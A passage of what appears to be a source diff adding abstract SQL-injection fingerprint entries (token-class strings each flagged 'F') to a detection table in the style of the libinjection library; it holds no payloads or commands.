{"01UE1N", 'F'}, + {"01UE1O", 'F'}, + {"01UE1S", 'F'}, + {"01UE1U", 'F'}, + {"01UE1V", 'F'}, + {"01UE;", 'F'}, + {"01UE;C", 'F'}, + {"01UEC", 'F'}, + {"01UEF", 'F'}, + {"01UEF(", 'F'}, + {"01UEF,", 'F'}, + {"01UEF;", 'F'}, + {"01UEFC", 'F'}, + {"01UEK", 'F'}, + {"01UEK(", 'F'}, + {"01UEK1", 'F'}, + {"01UEK;", 'F'}, + {"01UEKC", 'F'}, + {"01UEKF", 'F'}, + {"01UEKN", 'F'}, + {"01UEKO", 'F'}, + {"01UEKS", 'F'}, + {"01UEKV", 'F'}, + {"01UEN", 'F'}, + {"01UEN&", 'F'}, + {"01UEN(", 'F'}, + {"01UEN)", 'F'}, + {"01UEN,", 'F'}, + {"01UEN1", 'F'}, + {"01UEN;", 'F'}, + {"01UENB", 'F'}, + {"01UENC", 'F'}, + {"01UENF", 'F'}, + {"01UENK", 'F'}, + {"01UENN", 'F'}, + {"01UENO", 'F'}, + {"01UENS", 'F'}, + {"01UENU", 'F'}, + {"01UEOK", 'F'}, + {"01UEON", 'F'}, + {"01UES", 'F'}, + {"01UES&", 'F'}, + {"01UES(", 'F'}, + {"01UES)", 'F'}, + {"01UES,", 'F'}, + {"01UES1", 'F'}, + {"01UES;", 'F'}, + {"01UESB", 'F'}, + {"01UESC", 'F'}, + {"01UESF", 'F'}, + {"01UESK", 'F'}, + {"01UESO", 'F'}, + {"01UESU", 'F'}, + {"01UESV", 'F'}, + {"01UEV", 'F'}, + {"01UEV&", 'F'}, + {"01UEV(", 'F'}, + {"01UEV)", 'F'}, + {"01UEV,", 'F'}, + {"01UEV;", 'F'}, + {"01UEVB", 'F'}, + {"01UEVC", 'F'}, + {"01UEVF", 'F'}, + {"01UEVK", 'F'}, + {"01UEVN", 'F'}, + {"01UEVO", 'F'}, + {"01UEVS", 'F'}, + {"01UEVU", 'F'}, + {"01UF()", 'F'}, + {"01UF(1", 'F'}, + {"01UF(F", 'F'}, + {"01UF(N", 'F'}, + {"01UF(S", 'F'}, + {"01UF(V", 'F'}, + {"01UK(E", 'F'}, + {"01UO(E", 'F'}, + {"01UON(", 'F'}, + {"01UON1", 'F'}, + {"01UONF", 'F'}, + {"01UONS", 'F'}, + {"01US,(", 'F'}, + {"01US,F", 'F'}, + {"01USC", 'F'}, + {"01USO(", 'F'}, + {"01USO1", 'F'}, + {"01USOF", 'F'}, + {"01USON", 'F'}, + {"01USOS", 'F'}, + {"01USOV", 'F'}, + {"01UTN(", 'F'}, + {"01UTN1", 'F'}, + {"01UTNF", 'F'}, + {"01UTNN", 'F'}, + {"01UTNS", 'F'}, + {"01UTNV", 'F'}, + {"01UV,(", 'F'}, + {"01UV,F", 'F'}, + {"01UVC", 'F'}, + {"01UVO(", 'F'}, + {"01UVOF", 'F'}, + {"01UVOS", 'F'}, + {"01VF()", 'F'}, + {"01VF(1", 'F'}, + {"01VF(F", 'F'}, + {"01VF(N", 'F'}, + {"01VF(S", 'F'}, + {"01VF(V", 'F'}, + {"01VO(1", 'F'}, + {"01VO(F", 'F'}, + {"01VO(N", 'F'}, + {"01VO(S", 'F'}, + {"01VO(V", 'F'}, + {"01VOF(", 'F'}, + {"01VOS(", 'F'}, + {"01VOS1", 'F'}, + {"01VOSF", 'F'}, + {"01VOSU", 'F'}, + {"01VOSV", 'F'}, + {"01VS", 'F'}, + {"01VS;", 'F'}, + {"01VS;C", 'F'}, + {"01VSC", 'F'}, + {"01VSO(", 'F'}, + {"01VSO1", 'F'}, + {"01VSOF", 'F'}, + {"01VSON", 'F'}, + {"01VSOS", 'F'}, + {"01VSOV", 'F'}, + {"01VUE", 'F'}, + {"01VUE;", 'F'}, + {"01VUEC", 'F'}, + {"01VUEK", 'F'}, + {"0;T(EF", 'F'}, + {"0;T(EK", 'F'}, + {"0;TKNC", 'F'}, + {"0E(1&(", 'F'}, + {"0E(1&1", 'F'}, + {"0E(1&F", 'F'}, + {"0E(1&N", 'F'}, + {"0E(1&S", 'F'}, + {"0E(1&V", 'F'}, + {"0E(1)&", 'F'}, + {"0E(1),", 'F'}, + {"0E(1)1", 'F'}, + {"0E(1);", 'F'}, + {"0E(1)B", 'F'}, + {"0E(1)C", 'F'}, + {"0E(1)F", 'F'}, + {"0E(1)K", 'F'}, + {"0E(1)N", 'F'}, + {"0E(1)O", 'F'}, + {"0E(1)S", 'F'}, + {"0E(1)U", 'F'}, + {"0E(1)V", 'F'}, + {"0E(1,F", 'F'}, + {"0E(1F(", 'F'}, + {"0E(1N)", 'F'}, + {"0E(1O(", 'F'}, + {"0E(1OF", 'F'}, + {"0E(1OS", 'F'}, + {"0E(1OV", 'F'}, + {"0E(1S)", 'F'}, + {"0E(1V)", 'F'}, + {"0E(1VO", 'F'}, + {"0E(E(1", 'F'}, + {"0E(E(E", 'F'}, + {"0E(E(F", 'F'}, + {"0E(E(N", 'F'}, + {"0E(E(S", 'F'}, + {"0E(E(V", 'F'}, + {"0E(E1&", 'F'}, + {"0E(E1)", 'F'}, + {"0E(E1O", 'F'}, + {"0E(EF(", 'F'}, + {"0E(EK(", 'F'}, + {"0E(EK1", 'F'}, + {"0E(EKF", 'F'}, + {"0E(EKN", 'F'}, + {"0E(EKS", 'F'}, + {"0E(EKV", 'F'}, + {"0E(EN&", 'F'}, + {"0E(EN)", 'F'}, + {"0E(ENO", 'F'}, + {"0E(ES&", 'F'}, + {"0E(ES)", 'F'}, + {"0E(ESO", 'F'}, + {"0E(EV&", 'F'}, + {"0E(EV)", 'F'}, + {"0E(EVO", 'F'}, + {"0E(F()", 'F'}, + {"0E(F(1", 'F'}, + {"0E(F(E", 'F'}, + {"0E(F(F", 'F'}, + {"0E(F(N", 'F'}, + {"0E(F(S", 'F'}, + {"0E(F(V", 'F'}, + {"0E(N&(", 'F'}, + {"0E(N&1", 'F'}, + {"0E(N&F", 'F'}, + {"0E(N&N", 'F'}, + {"0E(N&S", 'F'}, + {"0E(N&V", 'F'}, + {"0E(N(1", 'F'}, + {"0E(N(F", 'F'}, + {"0E(N(S", 'F'}, + {"0E(N(V", 'F'}, + {"0E(N)&", 'F'}, + {"0E(N),", 'F'}, + {"0E(N)1", 'F'}, + {"0E(N);", 'F'}, + {"0E(N)B", 'F'}, + {"0E(N)C", 'F'}, + {"0E(N)F", 'F'}, + {"0E(N)K", 'F'}, + {"0E(N)N", 'F'}, + {"0E(N)O", 'F'}, + {"0E(N)S", 'F'}, + {"0E(N)U", 'F'}, + {"0E(N)V", 'F'}, + {"0E(N,F", 'F'}, + {"0E(N1)", 'F'}, + {"0E(N1O", 'F'}, + {"0E(NF(", 'F'}, + {"0E(NO(", 'F'}, + {"0E(NOF", 'F'}, + {"0E(NOS", 'F'}, + {"0E(NOV", 'F'}, + {"0E(S&(", 'F'}, + {"0E(S&1", 'F'}, + {"0E(S&F", 'F'}, + {"0E(S&N", 'F'}, + {"0E(S&S", 'F'}, + {"0E(S&V", 'F'}, + {"0E(S)&", 'F'}, + {"0E(S),", 'F'}, + {"0E(S)1", 'F'}, + {"0E(S);", 'F'}, + {"0E(S)B", 'F'}, + {"0E(S)C", 'F'}, + {"0E(S)F", 'F'}, + {"0E(S)K", 'F'}, + {"0E(S)N", 'F'}, + {"0E(S)O", 'F'}, + {"0E(S)S", 'F'}, + {"0E(S)U", 'F'}, + {"0E(S)V", 'F'}, + {"0E(S,F", 'F'}, + {"0E(S1)", 'F'}, + {"0E(SF(", 'F'}, + {"0E(SO(", 'F'}, + {"0E(SO1", 'F'}, + {"0E(SOF", 'F'}, + {"0E(SON", 'F'}, + {"0E(SOS", 'F'}, + {"0E(SOV", 'F'}, + {"0E(SV)", 'F'}, + {"0E(SVO", 'F'}, + {"0E(V&(", 'F'}, + {"0E(V&1", 'F'}, + {"0E(V&F", 'F'}, + {"0E(V&N", 'F'}, + {"0E(V&S", 'F'}, + {"0E(V&V", 'F'}, + {"0E(V)&", 'F'}, + {"0E(V),", 'F'}, + {"0E(V)1", 'F'}, + {"0E(V);", 'F'}, + {"0E(V)B", 'F'}, + {"0E(V)C", 'F'}, + {"0E(V)F", 'F'}, + {"0E(V)K", 'F'}, + {"0E(V)N", 'F'}, + {"0E(V)O", 'F'}, + {"0E(V)S", 'F'}, + {"0E(V)U", 'F'}, + {"0E(V)V", 'F'}, + {"0E(V,F", 'F'}, + {"0E(VF(", 'F'}, + {"0E(VO(", 'F'}, + {"0E(VOF", 'F'}, + {"0E(VOS", 'F'}, + {"0E(VS)", 'F'}, + {"0E(VSO", 'F'}, + {"0E1&(1", 'F'}, + {"0E1&(E", 'F'}, + {"0E1&(F", 'F'}, + {"0E1&(N", 'F'}, + {"0E1&(S", 'F'}, + {"0E1&(V", 'F'}, + {"0E1&1)", 'F'}, + {"0E1&1O", 'F'}, + {"0E1&F(", 'F'}, + {"0E1&N)", 'F'}, + {"0E1&NO", 'F'}, + {"0E1&S)", 'F'}, + {"0E1&SO", 'F'}, + {"0E1&V)", 'F'}, + {"0E1&VO", 'F'}, + {"0E1)", 'F'}, + {"0E1)&(", 'F'}, + {"0E1)&1", 'F'}, + {"0E1)&F", 'F'}, + {"0E1)&N", 'F'}, + {"0E1)&S", 'F'}, + {"0E1)&V", 'F'}, + {"0E1);", 'F'}, + {"0E1);(", 'F'}, + {"0E1);C", 'F'}, + {"0E1);E", 'F'}, + {"0E1);T", 'F'}, + {"0E1)C", 'F'}, + {"0E1)KN", 'F'}, + {"0E1)O(", 'F'}, + {"0E1)O1", 'F'}, + {"0E1)OF", 'F'}, + {"0E1)ON", 'F'}, + {"0E1)OS", 'F'}, + {"0E1)OV", 'F'}, + {"0E1)UE", 'F'}, + {"0E1,(1", 'F'}, + {"0E1,(F", 'F'}, + {"0E1,(N", 'F'}, + {"0E1,(S", 'F'}, + {"0E1,(V", 'F'}, + {"0E1,F(", 'F'}, + {"0E1;(E", 'F'}, + {"0E1B(1", 'F'}, + {"0E1B(F", 'F'}, + {"0E1B(N", 'F'}, + {"0E1B(S", 'F'}, + {"0E1B(V", 'F'}, + {"0E1B1)", 'F'}, + {"0E1B1O", 'F'}, + {"0E1BF(", 'F'}, + {"0E1BN)", 'F'}, + {"0E1BNO", 'F'}, + {"0E1BS)", 'F'}, + {"0E1BSO", 'F'}, + {"0E1BV)", 'F'}, + {"0E1BVO", 'F'}, + {"0E1F()", 'F'}, + {"0E1F(1", 'F'}, + {"0E1F(F", 'F'}, + {"0E1F(N", 'F'}, + {"0E1F(S", 'F'}, + {"0E1F(V", 'F'}, + {"0E1K(1", 'F'}, + {"0E1K(E", 'F'}, + {"0E1K(F", 'F'}, + {"0E1K(N", 'F'}, + {"0E1K(S", 'F'}, + {"0E1K(V", 'F'}, + {"0E1K1)", 'F'}, + {"0E1K1K", 'F'}, + {"0E1K1O", 'F'}, + {"0E1KF(", 'F'}, + {"0E1KN", 'F'}, + {"0E1KN)", 'F'}, + {"0E1KN;", 'F'}, + {"0E1KNC", 'F'}, + {"0E1KNK", 'F'}, + {"0E1KNU", 'F'}, + {"0E1KS)", 'F'}, + {"0E1KSK", 'F'}, + {"0E1KSO", 'F'}, + {"0E1KV)", 'F'}, + {"0E1KVK", 'F'}, + {"0E1KVO", 'F'}, + {"0E1N)U", 'F'}, + {"0E1N;", 'F'}, + {"0E1N;C", 'F'}, + {"0E1NC", 'F'}, + {"0E1NKN", 'F'}, + {"0E1O(1", 'F'}, + {"0E1O(E", 'F'}, + {"0E1O(F", 'F'}, + {"0E1O(N", 'F'}, + {"0E1O(S", 'F'}, + {"0E1O(V", 'F'}, + {"0E1OF(", 'F'}, + {"0E1OS&", 'F'}, + {"0E1OS(", 'F'}, + {"0E1OS)", 'F'}, + {"0E1OS,", 'F'}, + {"0E1OS1", 'F'}, + {"0E1OS;", 'F'}, + {"0E1OSB", 'F'}, + {"0E1OSF", 'F'}, + {"0E1OSK", 'F'}, + {"0E1OSU", 'F'}, + {"0E1OSV", 'F'}, + {"0E1OV&", 'F'}, + {"0E1OV(", 'F'}, + {"0E1OV)", 'F'}, + {"0E1OV,", 'F'}, + {"0E1OV;", 'F'}, + {"0E1OVB", 'F'}, + {"0E1OVF", 'F'}, + {"0E1OVK", 'F'}, + {"0E1OVO", 'F'}, + {"0E1OVS", 'F'}, + {"0E1OVU", 'F'}, + {"0E1S;", 'F'}, + {"0E1S;C", 'F'}, + {"0E1SC", 'F'}, + {"0E1U(E", 'F'}, + {"0E1UE(", 'F'}, + {"0E1UE1", 'F'}, + {"0E1UEF", 'F'}, + {"0E1UEK", 'F'}, + {"0E1UEN", 'F'}, + {"0E1UES", 'F'}, + {"0E1UEV", 'F'}, + {"0E1V", 'F'}, + {"0E1V;", 'F'}, + {"0E1V;C", 'F'}, + {"0E1VC", 'F'}, + {"0E1VO(", 'F'}, + {"0E1VOF", 'F'}, + {"0E1VOS", 'F'}, + {"0EE(F(", 'F'}, + {"0EEK(F", 'F'}, + {"0EF()&", 'F'}, + {"0EF(),", 'F'}, + {"0EF()1", 'F'}, + {"0EF();", 'F'}, + {"0EF()B", 'F'}, + {"0EF()F", 'F'}, + {"0EF()K", 'F'}, + {"0EF()N", 'F'}, + {"0EF()O", 'F'}, + {"0EF()S", 'F'}, + {"0EF()U", 'F'}, + {"0EF()V", 'F'}, + {"0EF(1&", 'F'}, + {"0EF(1)", 'F'}, + {"0EF(1,", 'F'}, + {"0EF(1O", 'F'}, + {"0EF(E(", 'F'}, + {"0EF(E1", 'F'}, + {"0EF(EF", 'F'}, + {"0EF(EK", 'F'}, + {"0EF(EN", 'F'}, + {"0EF(ES", 'F'}, + {"0EF(EV", 'F'}, + {"0EF(F(", 'F'}, + {"0EF(N&", 'F'}, + {"0EF(N)", 'F'}, + {"0EF(N,", 'F'}, + {"0EF(NO", 'F'}, + {"0EF(O)", 'F'}, + {"0EF(S&", 'F'}, + {"0EF(S)", 'F'}, + {"0EF(S,", 'F'}, + {"0EF(SO", 'F'}, + {"0EF(V&", 'F'}, + {"0EF(V)", 'F'}, + {"0EF(V,", 'F'}, + {"0EF(VO", 'F'}, + {"0EK(1&", 'F'}, + {"0EK(1(", 'F'}, + {"0EK(1)", 'F'}, + {"0EK(1,", 'F'}, + {"0EK(1F", 'F'}, + {"0EK(1N", 'F'}, + {"0EK(1O", 'F'}, + {"0EK(1S", 'F'}, + {"0EK(1V", 'F'}, + {"0EK(E(", 'F'}, + {"0EK(E1", 'F'}, + {"0EK(EF", 'F'}, + {"0EK(EK", 'F'}, + {"0EK(EN", 'F'}, + {"0EK(ES", 'F'}, + {"0EK(EV", 'F'}, + {"0EK(F(", 'F'}, + {"0EK(N&", 'F'}, + {"0EK(N(", 'F'}, + {"0EK(N)", 'F'}, + {"0EK(N,", 'F'}, + {"0EK(N1", 'F'}, + {"0EK(NF", 'F'}, + {"0EK(NO", 'F'}, + {"0EK(S&", 'F'}, + {"0EK(S(", 'F'}, + {"0EK(S)", 'F'}, + {"0EK(S,", 'F'}, + {"0EK(S1", 'F'}, + {"0EK(SF", 'F'}, + {"0EK(SO", 'F'}, + {"0EK(SV", 'F'}, + {"0EK(V&", 'F'}, + {"0EK(V(", 'F'}, + {"0EK(V)", 'F'}, + {"0EK(V,", 'F'}, + {"0EK(VF", 'F'}, + {"0EK(VO", 'F'}, + {"0EK(VS", 'F'}, + {"0EK1&(", 'F'}, + {"0EK1&1", 'F'}, + {"0EK1&F", 'F'}, + {"0EK1&N", 'F'}, + {"0EK1&S", 'F'}, + {"0EK1&V", 'F'}, + {"0EK1)", 'F'}, + {"0EK1)&", 'F'}, + {"0EK1);", 'F'}, + {"0EK1)C", 'F'}, + {"0EK1)K", 'F'}, + {"0EK1)O", 'F'}, + {"0EK1)U", 'F'}, + {"0EK1,(", 'F'}, + {"0EK1,F", 'F'}, + {"0EK1;(", 'F'}, + {"0EK1B(", 'F'}, + {"0EK1B1", 'F'}, + {"0EK1BF", 'F'}, + {"0EK1BN", 'F'}, + {"0EK1BS", 'F'}, + {"0EK1BV", 'F'}, + {"0EK1F(", 'F'}, + {"0EK1K(", 'F'}, + {"0EK1K1", 'F'}, + {"0EK1KF", 'F'}, + {"0EK1KN", 'F'}, + {"0EK1KS", 'F'}, + {"0EK1KV", 'F'}, + {"0EK1N", 'F'}, + {"0EK1N)", 'F'}, + {"0EK1N;", 'F'}, + {"0EK1NC", 'F'}, + {"0EK1NK", 'F'}, + {"0EK1O(", 'F'}, + {"0EK1OF", 'F'}, + {"0EK1OS", 'F'}, + {"0EK1OV", 'F'}, + {"0EK1S", 'F'}, + {"0EK1S;", 'F'}, + {"0EK1SC", 'F'}, + {"0EK1SF", 'F'}, + {"0EK1SK", 'F'}, + {"0EK1U(", 'F'}, + {"0EK1UE", 'F'}, + {"0EK1V", 'F'}, + {"0EK1V;", 'F'}, + {"0EK1VC", 'F'}, + {"0EK1VF", 'F'}, + {"0EK1VK", 'F'}, + {"0EK1VO", 'F'}, + {"0EKE(F", 'F'}, + {"0EKEK(", 'F'}, + {"0EKF()", 'F'}, + {"0EKF(1", 'F'}, + {"0EKF(E", 'F'}, + {"0EKF(F", 'F'}, + {"0EKF(N", 'F'}, + {"0EKF(O", 'F'}, + {"0EKF(S", 'F'}, + {"0EKF(V", 'F'}, + {"0EKN&(", 'F'}, + {"0EKN&1", 'F'}, + {"0EKN&F", 'F'}, + {"0EKN&N", 'F'}, + {"0EKN&S", 'F'}, + {"0EKN&V", 'F'}, + {"0EKN(1", 'F'}, + {"0EKN(F", 'F'}, + {"0EKN(S", 'F'}, + {"0EKN(V", 'F'}, + {"0EKN)", 'F'}, + {"0EKN)&", 'F'}, + {"0EKN);", 'F'}, + {"0EKN)C", 'F'}, + {"0EKN)K", 'F'}, + {"0EKN)O", 'F'}, + {"0EKN)U", 'F'}, + {"0EKN,(", 'F'}, + {"0EKN,F", 'F'}, + {"0EKN1", 'F'}, + {"0EKN1;", 'F'}, + {"0EKN1C", 'F'}, + {"0EKN1K", 'F'}, + {"0EKN1O", 'F'}, + {"0EKN;(", 'F'}, + {"0EKNB(", 'F'}, + {"0EKNB1", 'F'}, + {"0EKNBF", 'F'}, + {"0EKNBN", 'F'}, + {"0EKNBS", 'F'}, + {"0EKNBV", 'F'}, + {"0EKNF(", 'F'}, + {"0EKNK(", 'F'}, + {"0EKNK1", 'F'}, + {"0EKNKF", 'F'}, + {"0EKNKN", 'F'}, + {"0EKNKS", 'F'}, + {"0EKNKV", 'F'}, + {"0EKNU(", 'F'}, + {"0EKNUE", 'F'}, + {"0EKO(1", 'F'}, + {"0EKO(F", 'F'}, + {"0EKO(N", 'F'}, + {"0EKO(S", 'F'}, + {"0EKO(V", 'F'}, + {"0EKOK(", 'F'}, + {"0EKOKN", 'F'}, + {"0EKS&(", 'F'}, + {"0EKS&1", 'F'}, + {"0EKS&F", 'F'}, + {"0EKS&N", 'F'}, + {"0EKS&S", 'F'}, + {"0EKS&V", 'F'}, + {"0EKS)", 'F'}, + {"0EKS)&", 'F'}, + {"0EKS);", 'F'}, + {"0EKS)C", 'F'}, + {"0EKS)K", 'F'}, + {"0EKS)O", 'F'}, + {"0EKS)U", 'F'}, + {"0EKS,(", 'F'}, + {"0EKS,F", 'F'}, + {"0EKS1", 'F'}, + {"0EKS1;", 'F'}, + {"0EKS1C", 'F'}, + {"0EKS1F", 'F'}, + {"0EKS1K", 'F'}, + {"0EKS;(", 'F'}, + {"0EKSB(", 'F'}, + {"0EKSB1", 'F'}, + {"0EKSBF", 'F'}, + {"0EKSBN", 'F'}, + {"0EKSBS", 'F'}, + {"0EKSBV", 'F'}, + {"0EKSF(", 'F'}, + {"0EKSK(", 'F'}, + {"0EKSK1", 'F'}, + {"0EKSKF", 'F'}, + {"0EKSKN", 'F'}, + {"0EKSKS", 'F'}, + {"0EKSKV", 'F'}, + {"0EKSO(", 'F'}, + {"0EKSO1", 'F'}, + {"0EKSOF", 'F'}, + {"0EKSON", 'F'}, + {"0EKSOS", 'F'}, + {"0EKSOV", 'F'}, + {"0EKSU(", 'F'}, + {"0EKSUE", 'F'}, + {"0EKSV", 'F'}, + {"0EKSV;", 'F'}, + {"0EKSVC", 'F'}, + {"0EKSVF", 'F'}, + {"0EKSVK", 'F'}, + {"0EKSVO", 'F'}, + {"0EKV&(", 'F'}, + {"0EKV&1", 'F'}, + {"0EKV&F", 'F'}, + {"0EKV&N", 'F'}, + {"0EKV&S", 'F'}, + {"0EKV&V", 'F'}, + {"0EKV)", 'F'}, + {"0EKV)&", 'F'}, + {"0EKV);", 'F'}, + {"0EKV)C", 'F'}, + {"0EKV)K", 'F'}, + {"0EKV)O", 'F'}, + {"0EKV)U", 'F'}, + {"0EKV,(", 'F'}, + {"0EKV,F", 'F'}, + {"0EKV;(", 'F'}, + {"0EKVB(", 'F'}, + {"0EKVB1", 'F'}, + {"0EKVBF", 'F'}, + {"0EKVBN", 'F'}, + {"0EKVBS", 'F'}, + {"0EKVBV", 'F'}, + {"0EKVF(", 'F'}, + {"0EKVK(", 'F'}, + {"0EKVK1", 'F'}, + {"0EKVKF", 'F'}, + {"0EKVKN", 'F'}, + {"0EKVKS", 'F'}, + {"0EKVKV", 'F'}, + {"0EKVO(", 'F'}, + {"0EKVOF", 'F'}, + {"0EKVOS", 'F'}, + {"0EKVS", 'F'}, + {"0EKVS;", 'F'}, + {"0EKVSC", 'F'}, + {"0EKVSF", 'F'}, + {"0EKVSK", 'F'}, + {"0EKVSO", 'F'}, + {"0EKVU(", 'F'}, + {"0EKVUE", 'F'}, + {"0EN&(1", 'F'}, + {"0EN&(E", 'F'}, + {"0EN&(F", 'F'}, + {"0EN&(N", 'F'}, + {"0EN&(S", 'F'}, + {"0EN&(V", 'F'}, + {"0EN&1)", 'F'}, + {"0EN&1O", 'F'}, + {"0EN&F(", 'F'}, + {"0EN&N)", 'F'}, + {"0EN&NO", 'F'}, + {"0EN&S)", 'F'}, + {"0EN&SO", 'F'}, + {"0EN&V)", 'F'}, + {"0EN&VO", 'F'}, + {"0EN(1O", 'F'}, + {"0EN(F(", 'F'}, + {"0EN(S)", 'F'}, + {"0EN(SO", 'F'}, + {"0EN(V)", 'F'}, + {"0EN(VO", 'F'}, + {"0EN)", 'F'}, + {"0EN)&(", 'F'}, + {"0EN)&1", 'F'}, + {"0EN)&F", 'F'}, + {"0EN)&N", 'F'}, + {"0EN)&S", 'F'}, + {"0EN)&V", 'F'}, + {"0EN);", 'F'}, + {"0EN);(", 'F'}, + {"0EN);C", 'F'}, + {"0EN);E", 'F'}, + {"0EN);T", 'F'}, + {"0EN)C", 'F'}, + {"0EN)KN", 'F'}, + {"0EN)O(", 'F'}, + {"0EN)O1", 'F'}, + {"0EN)OF", 'F'}, + {"0EN)ON", 'F'}, + {"0EN)OS", 'F'}, + {"0EN)OV", 'F'}, + {"0EN)UE", 'F'}, + {"0EN,(1", 'F'}, + {"0EN,(F", 'F'}, + {"0EN,(N", 'F'}, + {"0EN,(S", 'F'}, + {"0EN,(V", 'F'}, + {"0EN,F(", 'F'}, + {"0EN1;", 'F'}, + {"0EN1;C", 'F'}, + {"0EN1O(", 'F'}, + {"0EN1OF", 'F'}, + {"0EN1OS", 'F'}, + {"0EN1OV", 'F'}, + {"0EN;(E", 'F'}, + {"0ENB(1", 'F'}, + {"0ENB(F", 'F'}, + {"0ENB(N", 'F'}, + {"0ENB(S", 'F'}, + {"0ENB(V", 'F'}, + {"0ENB1)", 'F'}, + {"0ENB1O", 'F'}, + {"0ENBF(", 'F'}, + {"0ENBN)", 'F'}, + {"0ENBNO", 'F'}, + {"0ENBS)", 'F'}, + {"0ENBSO", 'F'}, + {"0ENBV)", 'F'}, + {"0ENBVO", 'F'}, + {"0ENF()", 'F'}, + {"0ENF(1", 'F'}, + {"0ENF(F", 'F'}, + {"0ENF(N", 'F'}, + {"0ENF(S", 'F'}, + {"0ENF(V", 'F'}, + {"0ENK(1", 'F'}, + {"0ENK(E", 'F'}, + {"0ENK(F", 'F'}, + {"0ENK(N", 'F'}, + {"0ENK(S", 'F'}, + {"0ENK(V", 'F'}, + {"0ENK1)", 'F'}, + {"0ENK1K", 'F'}, + {"0ENK1O", 'F'}, + {"0ENKF(", 'F'}, + {"0ENKN)", 'F'}, + {"0ENKN,", 'F'}, + {"0ENKN;", 'F'}, + {"0ENKNB", 'F'}, + {"0ENKNC", 'F'}, + {"0ENKNK", 'F'}, + {"0ENKNU", 'F'}, + {"0ENKS)", 'F'}, + {"0ENKSK", 'F'}, + {"0ENKSO", 'F'}, + {"0ENKV)", 'F'}, + {"0ENKVK", 'F'}, + {"0ENKVO", 'F'}, + {"0ENO(1", 'F'}, + {"0ENO(E", 'F'}, + {"0ENO(F", 'F'}, + {"0ENO(N", 'F'}, + {"0ENO(S", 'F'}, + {"0ENO(V", 'F'}, + {"0ENOF(", 'F'}, + {"0ENOS&", 'F'}, + {"0ENOS(", 'F'}, + {"0ENOS)", 'F'}, + {"0ENOS,", 'F'}, + {"0ENOS1", 'F'}, + {"0ENOS;", 'F'}, + {"0ENOSB", 'F'}, + {"0ENOSF", 'F'}, + {"0ENOSK", 'F'}, + {"0ENOSU", 'F'}, + {"0ENOSV", 'F'}, + {"0ENOV&", 'F'}, + {"0ENOV(", 'F'}, + {"0ENOV)", 'F'}, + {"0ENOV,", 'F'}, + {"0ENOV;", 'F'}, + {"0ENOVB", 'F'}, + {"0ENOVF", 'F'}, + {"0ENOVK", 'F'}, + {"0ENOVO", 'F'}, + {"0ENOVS", 'F'}, + {"0ENOVU", 'F'}, + {"0ENU(E", 'F'}, + {"0ENUE(", 'F'}, + {"0ENUE1", 'F'}, + {"0ENUEF", 'F'}, + {"0ENUEK", 'F'}, + {"0ENUEN", 'F'}, + {"0ENUES", 'F'}, + {"0ENUEV", 'F'}, + {"0EOK(E", 'F'}, + {"0EOKNK", 'F'}, + {"0ES&(1", 'F'}, + {"0ES&(E", 'F'}, + {"0ES&(F", 'F'}, + {"0ES&(N", 'F'}, + {"0ES&(S", 'F'}, + {"0ES&(V", 'F'}, + {"0ES&1)", 'F'}, + {"0ES&1O", 'F'}, + {"0ES&F(", 'F'}, + {"0ES&N)", 'F'}, + {"0ES&NO", 'F'}, + {"0ES&S)", 'F'}, + {"0ES&SO", 'F'}, + {"0ES&V)", 'F'}, + {"0ES&VO", 'F'}, + {"0ES)", 'F'}, + {"0ES)&(", 'F'}, + {"0ES)&1", 'F'}, + {"0ES)&F", 'F'}, + {"0ES)&N", 'F'}, + {"0ES)&S", 'F'}, + {"0ES)&V", 'F'}, + {"0ES);", 'F'}, + {"0ES);(", 'F'}, + {"0ES);C", 'F'}, + {"0ES);E", 'F'}, + {"0ES);T", 'F'}, + {"0ES)C", 'F'}, + {"0ES)KN", 'F'}, + {"0ES)O(", 'F'}, + {"0ES)O1", 'F'}, + {"0ES)OF", 'F'}, + {"0ES)ON", 'F'}, + {"0ES)OS", 'F'}, + {"0ES)OV", 'F'}, + {"0ES)UE", 'F'}, + {"0ES,(1", 'F'}, + {"0ES,(F", 'F'}, + {"0ES,(N", 'F'}, + {"0ES,(S", 'F'}, + {"0ES,(V", 'F'}, + {"0ES,F(", 'F'}, + {"0ES1", 'F'}, + {"0ES1;", 'F'}, + {"0ES1;C", 'F'}, + {"0ES1C", 'F'}, + {"0ES;(E", 'F'}, + {"0ESB(1", 'F'}, + {"0ESB(F", 'F'}, + {"0ESB(N", 'F'}, + {"0ESB(S", 'F'}, + {"0ESB(V", 'F'}, + {"0ESB1)", 'F'}, + {"0ESB1O", 'F'}, + {"0ESBF(", 'F'}, + {"0ESBN)", 'F'}, + {"0ESBNO", 'F'}, + {"0ESBS)", 'F'}, + {"0ESBSO", 'F'}, + {"0ESBV)", 'F'}, + {"0ESBVO", 'F'}, + {"0ESF()", 'F'}, + {"0ESF(1", 'F'}, + {"0ESF(F", 'F'}, + {"0ESF(N", 'F'}, + {"0ESF(S", 'F'}, + {"0ESF(V", 'F'}, + {"0ESK(1", 'F'}, + {"0ESK(E", 'F'}, + {"0ESK(F", 'F'}, + {"0ESK(N", 'F'}, + {"0ESK(S", 'F'}, + {"0ESK(V", 'F'}, + {"0ESK1)", 'F'}, + {"0ESK1K", 'F'}, + {"0ESK1O", 'F'}, + {"0ESKF(", 'F'}, + {"0ESKN", 'F'}, + {"0ESKN)", 'F'}, + {"0ESKN;", 'F'}, + {"0ESKNC", 'F'}, + {"0ESKNK", 'F'}, + {"0ESKNU", 'F'}, + {"0ESKS)", 'F'}, + {"0ESKSK", 'F'}, + {"0ESKSO", 'F'}, + {"0ESKV)", 'F'}, + {"0ESKVK", 'F'}, + {"0ESKVO", 'F'}, + {"0ESO(1", 'F'}, + {"0ESO(E", 'F'}, + {"0ESO(F", 'F'}, + {"0ESO(N", 'F'}, + {"0ESO(S", 'F'}, + {"0ESO(V", 'F'}, + {"0ESO1&", 'F'}, + {"0ESO1(", 'F'}, + {"0ESO1)", 'F'}, + {"0ESO1,", 'F'}, + {"0ESO1;", 'F'}, + {"0ESO1B", 'F'}, + {"0ESO1F", 'F'}, + {"0ESO1K", 'F'}, + {"0ESO1N", 'F'}, + {"0ESO1S", 'F'}, + {"0ESO1U", 'F'}, + {"0ESO1V", 'F'}, + {"0ESOF(", 'F'}, + {"0ESON&", 'F'}, + {"0ESON(", 'F'}, + {"0ESON)", 'F'}, + {"0ESON,", 'F'}, + {"0ESON1", 'F'}, + {"0ESON;", 'F'}, + {"0ESONB", 'F'}, + {"0ESONF", 'F'}, + {"0ESONK", 'F'}, + {"0ESONU", 'F'}, + {"0ESOS&", 'F'}, + {"0ESOS(", 'F'}, + {"0ESOS)", 'F'}, + {"0ESOS,", 'F'}, + {"0ESOS1", 'F'}, + {"0ESOS;", 'F'}, + 